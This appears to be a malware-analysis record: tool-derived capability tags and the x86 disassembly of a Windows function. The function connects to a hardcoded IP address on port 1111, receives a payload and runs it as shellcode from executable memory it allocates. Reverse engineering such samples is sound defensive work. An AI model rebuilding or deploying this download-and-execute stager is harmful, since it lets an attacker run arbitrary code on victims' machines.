Function at 0x405200
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54128b
mov eax, dword fs:[0]
push eax
mov eax, 0x21b8
call fcn.00522a60
mov eax, dword [0x5a379c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21b4], 0
call fcn.004058d0
lea eax, [ebp - 0x21b0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40527f
push 0x406650
push str.Failed_to_initialize_Winsock
push 0x5ac6f0
call fcn.00403eb0
add esp, 8
mov ecx, eax
call fcn.00404d80
mov eax, 1
jmp 0x40549f
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4052c0
push 0x406650
push str.Failed_to_create_socket
push 0x5ac6f0
call fcn.00403eb0
add esp, 8
mov ecx, eax
call fcn.00404d80
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x40549f
mov eax, 2
push 0x457
mov word [ebp - 0x2020], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.154.23.181.145
mov word [ebp - 0x201e], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x201c], eax
push 0x10
lea eax, [ebp - 0x2020]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x405339
push 0x406650
push str.Failed_to_connect_to_server
push 0x5ac6f0
call fcn.00403eb0
add esp, 8
mov ecx, eax
call fcn.00404d80
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x40549f
lea ecx, [ebp - 0x21c0]
call fcn.00409090
mov ebx, dword [sym.imp.WS2_32.dll_recv]
push 0
push 0x2000
lea eax, [ebp - 0x2010]
push eax
push esi
mov dword [ebp - 4], 0
call ebx
mov edi, eax
test edi, edi
jle 0x4053bd
jmp 0x405370
lea eax, [ebp - 0x21b4]
push eax
lea ecx, [ebp - 0x21c0]
call fcn.0040c1b0
lea ecx, [ebp - 0x2010]
add ecx, edi
push ecx
lea ecx, [ebp - 0x2010]
push ecx
push dword [eax]
lea eax, [ebp - 0x21c4]
push eax
lea ecx, [ebp - 0x21c0]
call fcn.004044f0
push 0
push 0x2000
lea eax, [ebp - 0x2010]
push eax
push esi
call ebx
mov edi, eax
test edi, edi
jg 0x405370
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x55354c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x4053e7
push 0x406650
push str.Failed_to_load_kernel32.dll
jmp 0x40544e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x553880
push esi
call edi
mov ebx, eax
test ebx, ebx
jne 0x405407
push 0x406650
push str.Failed_to_get_VirtualAlloc_address
jmp 0x40544e
push str.VirtualFree
push esi
call edi
mov edi, eax
test edi, edi
jne 0x405421
push 0x406650
push str.Failed_to_get_VirtualFree_address
jmp 0x40544e
lea ecx, [ebp - 0x21c0]
call fcn.00406bc0
push 0x40
push 0x1000
push eax
push 0
mov dword [ebp - 0x21b4], eax
call ebx
mov esi, eax
test esi, esi
jne 0x405469
push 0x406650
push str.Failed_to_allocate_memory_for_shellcode
push 0x5ac6f0
call fcn.00403eb0
add esp, 8
mov ecx, eax
call fcn.00404d80
mov esi, 1
jmp 0x405492
push dword [ebp - 0x21b4]
lea ecx, [ebp - 0x21c0]
call fcn.00406c70
push eax
push esi
call fcn.00522a90
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call edi
xor esi, esi
lea ecx, [ebp - 0x21c0]
call fcn.00404bb0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00521d5b
mov esp, ebp
pop ebp
ret